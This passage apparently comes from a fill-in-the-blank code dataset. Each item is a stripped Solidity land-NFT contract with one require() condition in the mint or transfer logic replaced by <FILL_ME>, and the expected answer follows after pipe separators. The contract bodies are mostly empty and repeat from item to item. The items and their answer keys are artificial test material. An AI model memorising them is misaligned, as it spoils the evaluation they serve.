uint256 id = _idInPath(i, size, x, y);
require(_owners[id] == 0, "Already minted");
emit Transfer(address(0), to, id);
}
_owners[quadId] = uint256(to);
_numNFTPerAddress[to] += size * size;
_checkBatchReceiverAcceptQuad(msg.sender, address(0), to, size, x, y, data);
}
function _idInPath(
uint256 i,
uint256 size,
uint256 x,
uint256 y
) internal pure returns (uint256) {
}
/// @notice transfer one quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param size size of the quad
/// @param x The top left x coordinate of the quad
/// @param y The top left y coordinate of the quad
/// @param data additional data
function transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
}
function _checkBatchReceiverAcceptQuad(
address operator,
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes memory data
) internal {
}
/// @notice transfer multiple quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param sizes list of sizes for each quad
/// @param xs list of top left x coordinates for each quad
/// @param ys list of top left y coordinates for each quad
/// @param data additional data
function batchTransferQuad(
address from,
address to,
uint256[] calldata sizes,
uint256[] calldata xs,
uint256[] calldata ys,
bytes calldata data
) external {
}
function _transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _checkAndClear(address from, uint256 id) internal returns (bool) {
}
function _regroup(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _regroup3x3(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup6x6(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup12x12(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup24x24(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _ownerOf(uint256 id) internal view returns (address) {
}
function _ownerAndOperatorEnabledOf(uint256 id) internal view returns (address owner, bool operatorEnabled) {
}
}
| _owners[id6x6]==0,"Already minted as 6x6" | 217,397 | _owners[id6x6]==0 |
"Already minted as 3x3" | /* solhint-disable func-order, code-complexity */
pragma solidity 0.5.9;
import "./ERC721BaseToken.sol";
contract LandBaseToken is ERC721BaseToken {
// Our grid is 1562 x 1562 lands
uint256 internal constant GRID_SIZE = 1562;
uint256 internal constant LAYER = 0xFF00000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_1x1 = 0x0000000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_3x3 = 0x0100000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_6x6 = 0x0200000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_12x12 = 0x0300000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_24x24 = 0x0400000000000000000000000000000000000000000000000000000000000000;
mapping(address => bool) internal _minters;
event Minter(address superOperator, bool enabled);
/// @notice Enable or disable the ability of `minter` to mint tokens
/// @param minter address that will be given/removed minter right.
/// @param enabled set whether the minter is enabled or disabled.
function setMinter(address minter, bool enabled) external {
}
/// @notice check whether address `who` is given minter rights.
/// @param who The address to query.
/// @return whether the address has minter rights.
function isMinter(address who) public view returns (bool) {
}
constructor(address metaTransactionContract, address admin)
public
ERC721BaseToken(metaTransactionContract, admin)
{}
/// @notice total width of the map
/// @return width
function width() external returns (uint256) {
}
/// @notice total height of the map
/// @return height
function height() external returns (uint256) {
}
/// @notice x coordinate of Land token
/// @param id tokenId
/// @return the x coordinates
function x(uint256 id) external returns (uint256) {
}
/// @notice y coordinate of Land token
/// @param id tokenId
/// @return the y coordinates
function y(uint256 id) external returns (uint256) {
}
/**
* @notice Mint a new quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
* @param to The recipient of the new quad
* @param size The size of the new quad
* @param x The top left x coordinate of the new quad
* @param y The top left y coordinate of the new quad
* @param data extra data to pass to the transfer
*/
function mintQuad(
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
require(to != address(0), "to is zero address");
require(isMinter(msg.sender), "Only a minter can mint");
///require(x % size == 0 && y % size == 0, "Invalid coordinates");
require(x <= GRID_SIZE - size && y <= GRID_SIZE - size, "Out of bounds");
uint256 quadId;
uint256 id = x + y * GRID_SIZE;
if (size == 1) {
quadId = id;
} else if (size == 3) {
quadId = LAYER_3x3 + id;
} else if (size == 6) {
quadId = LAYER_6x6 + id;
} else if (size == 12) {
quadId = LAYER_12x12 + id;
} else if (size == 24) {
quadId = LAYER_24x24 + id;
} else {
require(false, "Invalid size");
}
require(_owners[LAYER_24x24 + (x / 24) * 24 + ((y / 24) * 24) * GRID_SIZE] == 0, "Already minted as 24x24");
uint256 toX = x + size;
uint256 toY = y + size;
if (size <= 12) {
require(_owners[LAYER_12x12 + (x / 12) * 12 + ((y / 12) * 12) * GRID_SIZE] == 0, "Already minted as 12x12");
} else {
for (uint256 x12i = x; x12i < toX; x12i += 12) {
for (uint256 y12i = y; y12i < toY; y12i += 12) {
uint256 id12x12 = LAYER_12x12 + x12i + y12i * GRID_SIZE;
require(_owners[id12x12] == 0, "Already minted as 12x12");
}
}
}
if (size <= 6) {
require(_owners[LAYER_6x6 + (x / 6) * 6 + ((y / 6) * 6) * GRID_SIZE] == 0, "Already minted as 6x6");
} else {
for (uint256 x6i = x; x6i < toX; x6i += 6) {
for (uint256 y6i = y; y6i < toY; y6i += 6) {
uint256 id6x6 = LAYER_6x6 + x6i + y6i * GRID_SIZE;
require(_owners[id6x6] == 0, "Already minted as 6x6");
}
}
}
if (size <= 3) {
require(<FILL_ME>)
} else {
for (uint256 x3i = x; x3i < toX; x3i += 3) {
for (uint256 y3i = y; y3i < toY; y3i += 3) {
uint256 id3x3 = LAYER_3x3 + x3i + y3i * GRID_SIZE;
require(_owners[id3x3] == 0, "Already minted as 3x3");
}
}
}
for (uint256 i = 0; i < size * size; i++) {
uint256 id = _idInPath(i, size, x, y);
require(_owners[id] == 0, "Already minted");
emit Transfer(address(0), to, id);
}
_owners[quadId] = uint256(to);
_numNFTPerAddress[to] += size * size;
_checkBatchReceiverAcceptQuad(msg.sender, address(0), to, size, x, y, data);
}
function _idInPath(
uint256 i,
uint256 size,
uint256 x,
uint256 y
) internal pure returns (uint256) {
}
/// @notice transfer one quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param size size of the quad
/// @param x The top left x coordinate of the quad
/// @param y The top left y coordinate of the quad
/// @param data additional data
function transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
}
function _checkBatchReceiverAcceptQuad(
address operator,
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes memory data
) internal {
}
/// @notice transfer multiple quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param sizes list of sizes for each quad
/// @param xs list of top left x coordinates for each quad
/// @param ys list of top left y coordinates for each quad
/// @param data additional data
function batchTransferQuad(
address from,
address to,
uint256[] calldata sizes,
uint256[] calldata xs,
uint256[] calldata ys,
bytes calldata data
) external {
}
function _transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _checkAndClear(address from, uint256 id) internal returns (bool) {
}
function _regroup(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _regroup3x3(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup6x6(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup12x12(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup24x24(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _ownerOf(uint256 id) internal view returns (address) {
}
function _ownerAndOperatorEnabledOf(uint256 id) internal view returns (address owner, bool operatorEnabled) {
}
}
| _owners[LAYER_3x3+(x/3)*3+((y/3)*3)*GRID_SIZE]==0,"Already minted as 3x3" | 217,397 | _owners[LAYER_3x3+(x/3)*3+((y/3)*3)*GRID_SIZE]==0 |
"Already minted as 3x3" | /* solhint-disable func-order, code-complexity */
pragma solidity 0.5.9;
import "./ERC721BaseToken.sol";
contract LandBaseToken is ERC721BaseToken {
// Our grid is 1562 x 1562 lands
uint256 internal constant GRID_SIZE = 1562;
uint256 internal constant LAYER = 0xFF00000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_1x1 = 0x0000000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_3x3 = 0x0100000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_6x6 = 0x0200000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_12x12 = 0x0300000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_24x24 = 0x0400000000000000000000000000000000000000000000000000000000000000;
mapping(address => bool) internal _minters;
event Minter(address superOperator, bool enabled);
/// @notice Enable or disable the ability of `minter` to mint tokens
/// @param minter address that will be given/removed minter right.
/// @param enabled set whether the minter is enabled or disabled.
function setMinter(address minter, bool enabled) external {
}
/// @notice check whether address `who` is given minter rights.
/// @param who The address to query.
/// @return whether the address has minter rights.
function isMinter(address who) public view returns (bool) {
}
constructor(address metaTransactionContract, address admin)
public
ERC721BaseToken(metaTransactionContract, admin)
{}
/// @notice total width of the map
/// @return width
function width() external returns (uint256) {
}
/// @notice total height of the map
/// @return height
function height() external returns (uint256) {
}
/// @notice x coordinate of Land token
/// @param id tokenId
/// @return the x coordinates
function x(uint256 id) external returns (uint256) {
}
/// @notice y coordinate of Land token
/// @param id tokenId
/// @return the y coordinates
function y(uint256 id) external returns (uint256) {
}
/**
* @notice Mint a new quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
* @param to The recipient of the new quad
* @param size The size of the new quad
* @param x The top left x coordinate of the new quad
* @param y The top left y coordinate of the new quad
* @param data extra data to pass to the transfer
*/
function mintQuad(
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
require(to != address(0), "to is zero address");
require(isMinter(msg.sender), "Only a minter can mint");
///require(x % size == 0 && y % size == 0, "Invalid coordinates");
require(x <= GRID_SIZE - size && y <= GRID_SIZE - size, "Out of bounds");
uint256 quadId;
uint256 id = x + y * GRID_SIZE;
if (size == 1) {
quadId = id;
} else if (size == 3) {
quadId = LAYER_3x3 + id;
} else if (size == 6) {
quadId = LAYER_6x6 + id;
} else if (size == 12) {
quadId = LAYER_12x12 + id;
} else if (size == 24) {
quadId = LAYER_24x24 + id;
} else {
require(false, "Invalid size");
}
require(_owners[LAYER_24x24 + (x / 24) * 24 + ((y / 24) * 24) * GRID_SIZE] == 0, "Already minted as 24x24");
uint256 toX = x + size;
uint256 toY = y + size;
if (size <= 12) {
require(_owners[LAYER_12x12 + (x / 12) * 12 + ((y / 12) * 12) * GRID_SIZE] == 0, "Already minted as 12x12");
} else {
for (uint256 x12i = x; x12i < toX; x12i += 12) {
for (uint256 y12i = y; y12i < toY; y12i += 12) {
uint256 id12x12 = LAYER_12x12 + x12i + y12i * GRID_SIZE;
require(_owners[id12x12] == 0, "Already minted as 12x12");
}
}
}
if (size <= 6) {
require(_owners[LAYER_6x6 + (x / 6) * 6 + ((y / 6) * 6) * GRID_SIZE] == 0, "Already minted as 6x6");
} else {
for (uint256 x6i = x; x6i < toX; x6i += 6) {
for (uint256 y6i = y; y6i < toY; y6i += 6) {
uint256 id6x6 = LAYER_6x6 + x6i + y6i * GRID_SIZE;
require(_owners[id6x6] == 0, "Already minted as 6x6");
}
}
}
if (size <= 3) {
require(_owners[LAYER_3x3 + (x / 3) * 3 + ((y / 3) * 3) * GRID_SIZE] == 0, "Already minted as 3x3");
} else {
for (uint256 x3i = x; x3i < toX; x3i += 3) {
for (uint256 y3i = y; y3i < toY; y3i += 3) {
uint256 id3x3 = LAYER_3x3 + x3i + y3i * GRID_SIZE;
require(<FILL_ME>)
}
}
}
for (uint256 i = 0; i < size * size; i++) {
uint256 id = _idInPath(i, size, x, y);
require(_owners[id] == 0, "Already minted");
emit Transfer(address(0), to, id);
}
_owners[quadId] = uint256(to);
_numNFTPerAddress[to] += size * size;
_checkBatchReceiverAcceptQuad(msg.sender, address(0), to, size, x, y, data);
}
function _idInPath(
uint256 i,
uint256 size,
uint256 x,
uint256 y
) internal pure returns (uint256) {
}
/// @notice transfer one quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param size size of the quad
/// @param x The top left x coordinate of the quad
/// @param y The top left y coordinate of the quad
/// @param data additional data
function transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
}
function _checkBatchReceiverAcceptQuad(
address operator,
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes memory data
) internal {
}
/// @notice transfer multiple quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param sizes list of sizes for each quad
/// @param xs list of top left x coordinates for each quad
/// @param ys list of top left y coordinates for each quad
/// @param data additional data
function batchTransferQuad(
address from,
address to,
uint256[] calldata sizes,
uint256[] calldata xs,
uint256[] calldata ys,
bytes calldata data
) external {
}
function _transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _checkAndClear(address from, uint256 id) internal returns (bool) {
}
function _regroup(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _regroup3x3(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup6x6(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup12x12(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup24x24(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _ownerOf(uint256 id) internal view returns (address) {
}
function _ownerAndOperatorEnabledOf(uint256 id) internal view returns (address owner, bool operatorEnabled) {
}
}
| _owners[id3x3]==0,"Already minted as 3x3" | 217,397 | _owners[id3x3]==0 |
"Already minted" | /* solhint-disable func-order, code-complexity */
pragma solidity 0.5.9;
import "./ERC721BaseToken.sol";
contract LandBaseToken is ERC721BaseToken {
// Our grid is 1562 x 1562 lands
uint256 internal constant GRID_SIZE = 1562;
uint256 internal constant LAYER = 0xFF00000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_1x1 = 0x0000000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_3x3 = 0x0100000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_6x6 = 0x0200000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_12x12 = 0x0300000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_24x24 = 0x0400000000000000000000000000000000000000000000000000000000000000;
mapping(address => bool) internal _minters;
event Minter(address superOperator, bool enabled);
/// @notice Enable or disable the ability of `minter` to mint tokens
/// @param minter address that will be given/removed minter right.
/// @param enabled set whether the minter is enabled or disabled.
function setMinter(address minter, bool enabled) external {
}
/// @notice check whether address `who` is given minter rights.
/// @param who The address to query.
/// @return whether the address has minter rights.
function isMinter(address who) public view returns (bool) {
}
constructor(address metaTransactionContract, address admin)
public
ERC721BaseToken(metaTransactionContract, admin)
{}
/// @notice total width of the map
/// @return width
function width() external returns (uint256) {
}
/// @notice total height of the map
/// @return height
function height() external returns (uint256) {
}
/// @notice x coordinate of Land token
/// @param id tokenId
/// @return the x coordinates
function x(uint256 id) external returns (uint256) {
}
/// @notice y coordinate of Land token
/// @param id tokenId
/// @return the y coordinates
function y(uint256 id) external returns (uint256) {
}
/**
* @notice Mint a new quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
* @param to The recipient of the new quad
* @param size The size of the new quad
* @param x The top left x coordinate of the new quad
* @param y The top left y coordinate of the new quad
* @param data extra data to pass to the transfer
*/
function mintQuad(
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
require(to != address(0), "to is zero address");
require(isMinter(msg.sender), "Only a minter can mint");
///require(x % size == 0 && y % size == 0, "Invalid coordinates");
require(x <= GRID_SIZE - size && y <= GRID_SIZE - size, "Out of bounds");
uint256 quadId;
uint256 id = x + y * GRID_SIZE;
if (size == 1) {
quadId = id;
} else if (size == 3) {
quadId = LAYER_3x3 + id;
} else if (size == 6) {
quadId = LAYER_6x6 + id;
} else if (size == 12) {
quadId = LAYER_12x12 + id;
} else if (size == 24) {
quadId = LAYER_24x24 + id;
} else {
require(false, "Invalid size");
}
require(_owners[LAYER_24x24 + (x / 24) * 24 + ((y / 24) * 24) * GRID_SIZE] == 0, "Already minted as 24x24");
uint256 toX = x + size;
uint256 toY = y + size;
if (size <= 12) {
require(_owners[LAYER_12x12 + (x / 12) * 12 + ((y / 12) * 12) * GRID_SIZE] == 0, "Already minted as 12x12");
} else {
for (uint256 x12i = x; x12i < toX; x12i += 12) {
for (uint256 y12i = y; y12i < toY; y12i += 12) {
uint256 id12x12 = LAYER_12x12 + x12i + y12i * GRID_SIZE;
require(_owners[id12x12] == 0, "Already minted as 12x12");
}
}
}
if (size <= 6) {
require(_owners[LAYER_6x6 + (x / 6) * 6 + ((y / 6) * 6) * GRID_SIZE] == 0, "Already minted as 6x6");
} else {
for (uint256 x6i = x; x6i < toX; x6i += 6) {
for (uint256 y6i = y; y6i < toY; y6i += 6) {
uint256 id6x6 = LAYER_6x6 + x6i + y6i * GRID_SIZE;
require(_owners[id6x6] == 0, "Already minted as 6x6");
}
}
}
if (size <= 3) {
require(_owners[LAYER_3x3 + (x / 3) * 3 + ((y / 3) * 3) * GRID_SIZE] == 0, "Already minted as 3x3");
} else {
for (uint256 x3i = x; x3i < toX; x3i += 3) {
for (uint256 y3i = y; y3i < toY; y3i += 3) {
uint256 id3x3 = LAYER_3x3 + x3i + y3i * GRID_SIZE;
require(_owners[id3x3] == 0, "Already minted as 3x3");
}
}
}
for (uint256 i = 0; i < size * size; i++) {
uint256 id = _idInPath(i, size, x, y);
require(<FILL_ME>)
emit Transfer(address(0), to, id);
}
_owners[quadId] = uint256(to);
_numNFTPerAddress[to] += size * size;
_checkBatchReceiverAcceptQuad(msg.sender, address(0), to, size, x, y, data);
}
function _idInPath(
uint256 i,
uint256 size,
uint256 x,
uint256 y
) internal pure returns (uint256) {
}
/// @notice transfer one quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param size size of the quad
/// @param x The top left x coordinate of the quad
/// @param y The top left y coordinate of the quad
/// @param data additional data
function transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
}
function _checkBatchReceiverAcceptQuad(
address operator,
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes memory data
) internal {
}
/// @notice transfer multiple quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param sizes list of sizes for each quad
/// @param xs list of top left x coordinates for each quad
/// @param ys list of top left y coordinates for each quad
/// @param data additional data
function batchTransferQuad(
address from,
address to,
uint256[] calldata sizes,
uint256[] calldata xs,
uint256[] calldata ys,
bytes calldata data
) external {
}
function _transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _checkAndClear(address from, uint256 id) internal returns (bool) {
}
function _regroup(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _regroup3x3(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup6x6(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup12x12(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup24x24(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _ownerOf(uint256 id) internal view returns (address) {
}
function _ownerAndOperatorEnabledOf(uint256 id) internal view returns (address owner, bool operatorEnabled) {
}
}
| _owners[id]==0,"Already minted" | 217,397 | _owners[id]==0 |
"not authorized to transferQuad" | /* solhint-disable func-order, code-complexity */
pragma solidity 0.5.9;
import "./ERC721BaseToken.sol";
contract LandBaseToken is ERC721BaseToken {
// Our grid is 1562 x 1562 lands
uint256 internal constant GRID_SIZE = 1562;
uint256 internal constant LAYER = 0xFF00000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_1x1 = 0x0000000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_3x3 = 0x0100000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_6x6 = 0x0200000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_12x12 = 0x0300000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_24x24 = 0x0400000000000000000000000000000000000000000000000000000000000000;
mapping(address => bool) internal _minters;
event Minter(address superOperator, bool enabled);
/// @notice Enable or disable the ability of `minter` to mint tokens
/// @param minter address that will be given/removed minter right.
/// @param enabled set whether the minter is enabled or disabled.
function setMinter(address minter, bool enabled) external {
}
/// @notice check whether address `who` is given minter rights.
/// @param who The address to query.
/// @return whether the address has minter rights.
function isMinter(address who) public view returns (bool) {
}
constructor(address metaTransactionContract, address admin)
public
ERC721BaseToken(metaTransactionContract, admin)
{}
/// @notice total width of the map
/// @return width
function width() external returns (uint256) {
}
/// @notice total height of the map
/// @return height
function height() external returns (uint256) {
}
/// @notice x coordinate of Land token
/// @param id tokenId
/// @return the x coordinates
function x(uint256 id) external returns (uint256) {
}
/// @notice y coordinate of Land token
/// @param id tokenId
/// @return the y coordinates
function y(uint256 id) external returns (uint256) {
}
/**
* @notice Mint a new quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
* @param to The recipient of the new quad
* @param size The size of the new quad
* @param x The top left x coordinate of the new quad
* @param y The top left y coordinate of the new quad
* @param data extra data to pass to the transfer
*/
function mintQuad(
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
}
function _idInPath(
uint256 i,
uint256 size,
uint256 x,
uint256 y
) internal pure returns (uint256) {
}
/// @notice transfer one quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param size size of the quad
/// @param x The top left x coordinate of the quad
/// @param y The top left y coordinate of the quad
/// @param data additional data
function transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
require(from != address(0), "from is zero address");
require(to != address(0), "can't send to zero address");
bool metaTx = msg.sender != from && _metaTransactionContracts[msg.sender];
if (msg.sender != from && !metaTx) {
require(<FILL_ME>)
}
_transferQuad(from, to, size, x, y);
_numNFTPerAddress[from] -= size * size;
_numNFTPerAddress[to] += size * size;
_checkBatchReceiverAcceptQuad(metaTx ? from : msg.sender, from, to, size, x, y, data);
}
function _checkBatchReceiverAcceptQuad(
address operator,
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes memory data
) internal {
}
/// @notice transfer multiple quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param sizes list of sizes for each quad
/// @param xs list of top left x coordinates for each quad
/// @param ys list of top left y coordinates for each quad
/// @param data additional data
function batchTransferQuad(
address from,
address to,
uint256[] calldata sizes,
uint256[] calldata xs,
uint256[] calldata ys,
bytes calldata data
) external {
}
function _transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _checkAndClear(address from, uint256 id) internal returns (bool) {
}
function _regroup(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _regroup3x3(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup6x6(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup12x12(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup24x24(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _ownerOf(uint256 id) internal view returns (address) {
}
function _ownerAndOperatorEnabledOf(uint256 id) internal view returns (address owner, bool operatorEnabled) {
}
}
| _superOperators[msg.sender]||_operatorsForAll[from][msg.sender],"not authorized to transferQuad" | 217,397 | _superOperators[msg.sender]||_operatorsForAll[from][msg.sender] |
"erc721 batch transfer rejected by to" | /* solhint-disable func-order, code-complexity */
pragma solidity 0.5.9;
import "./ERC721BaseToken.sol";
contract LandBaseToken is ERC721BaseToken {
// Our grid is 1562 x 1562 lands
uint256 internal constant GRID_SIZE = 1562;
uint256 internal constant LAYER = 0xFF00000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_1x1 = 0x0000000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_3x3 = 0x0100000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_6x6 = 0x0200000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_12x12 = 0x0300000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_24x24 = 0x0400000000000000000000000000000000000000000000000000000000000000;
mapping(address => bool) internal _minters;
event Minter(address superOperator, bool enabled);
/// @notice Enable or disable the ability of `minter` to mint tokens
/// @param minter address that will be given/removed minter right.
/// @param enabled set whether the minter is enabled or disabled.
function setMinter(address minter, bool enabled) external {
}
/// @notice check whether address `who` is given minter rights.
/// @param who The address to query.
/// @return whether the address has minter rights.
function isMinter(address who) public view returns (bool) {
}
constructor(address metaTransactionContract, address admin)
public
ERC721BaseToken(metaTransactionContract, admin)
{}
/// @notice total width of the map
/// @return width
function width() external returns (uint256) {
}
/// @notice total height of the map
/// @return height
function height() external returns (uint256) {
}
/// @notice x coordinate of Land token
/// @param id tokenId
/// @return the x coordinates
function x(uint256 id) external returns (uint256) {
}
/// @notice y coordinate of Land token
/// @param id tokenId
/// @return the y coordinates
function y(uint256 id) external returns (uint256) {
}
/**
* @notice Mint a new quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
* @param to The recipient of the new quad
* @param size The size of the new quad
* @param x The top left x coordinate of the new quad
* @param y The top left y coordinate of the new quad
* @param data extra data to pass to the transfer
*/
function mintQuad(
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
}
function _idInPath(
uint256 i,
uint256 size,
uint256 x,
uint256 y
) internal pure returns (uint256) {
}
/// @notice transfer one quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param size size of the quad
/// @param x The top left x coordinate of the quad
/// @param y The top left y coordinate of the quad
/// @param data additional data
function transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes calldata data
) external {
}
function _checkBatchReceiverAcceptQuad(
address operator,
address from,
address to,
uint256 size,
uint256 x,
uint256 y,
bytes memory data
) internal {
if (to.isContract() && _checkInterfaceWith10000Gas(to, ERC721_MANDATORY_RECEIVER)) {
uint256[] memory ids = new uint256[](size * size);
for (uint256 i = 0; i < size * size; i++) {
ids[i] = _idInPath(i, size, x, y);
}
require(<FILL_ME>)
}
}
/// @notice transfer multiple quad (aligned to a quad tree with size 3, 6, 12 or 24 only)
/// @param from current owner of the quad
/// @param to destination
/// @param sizes list of sizes for each quad
/// @param xs list of top left x coordinates for each quad
/// @param ys list of top left y coordinates for each quad
/// @param data additional data
function batchTransferQuad(
address from,
address to,
uint256[] calldata sizes,
uint256[] calldata xs,
uint256[] calldata ys,
bytes calldata data
) external {
}
function _transferQuad(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _checkAndClear(address from, uint256 id) internal returns (bool) {
}
function _regroup(
address from,
address to,
uint256 size,
uint256 x,
uint256 y
) internal {
}
function _regroup3x3(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup6x6(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup12x12(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _regroup24x24(
address from,
address to,
uint256 x,
uint256 y,
bool set
) internal returns (bool) {
}
function _ownerOf(uint256 id) internal view returns (address) {
}
function _ownerAndOperatorEnabledOf(uint256 id) internal view returns (address owner, bool operatorEnabled) {
}
}
| _checkOnERC721BatchReceived(operator,from,to,ids,data),"erc721 batch transfer rejected by to" | 217,397 | _checkOnERC721BatchReceived(operator,from,to,ids,data) |
"erc721 batch transfer rejected by to" | /* solhint-disable func-order, code-complexity */
pragma solidity 0.5.9;
import "./ERC721BaseToken.sol";
contract LandBaseToken is ERC721BaseToken {
// Our grid is 1562 x 1562 lands
uint256 internal constant GRID_SIZE = 1562;
uint256 internal constant LAYER = 0xFF00000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_1x1 = 0x0000000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_3x3 = 0x0100000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_6x6 = 0x0200000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_12x12 = 0x0300000000000000000000000000000000000000000000000000000000000000;
uint256 internal constant LAYER_24x24 = 0x0400000000000000000000000000000000000000000000000000000000000000;
mapping(address => bool) internal _minters;
event Minter(address superOperator, bool enabled);
/// @notice Enable or disable the ability of `minter` to mint tokens
/// @param minter address that will be given/removed minter right.
/// @param enabled set whether the minter is enabled or disabled.
function setMinter(address minter, bool enabled) external {
}
/// @notice check whether address `who` is given minter rights.
/// @param who The address to query.
/// @return whether the address has minter rights.
function isMinter(address who) public view returns (bool) {
}
constructor(address metaTransactionContract, address admin)
public
ERC721BaseToken(metaTransactionContract, admin)
{}
/// @notice total width of the map
/// @return width
function width() external returns (uint256) {
}
/// @notice total height of the map
/// @return height
function height() external returns (uint256) {
}
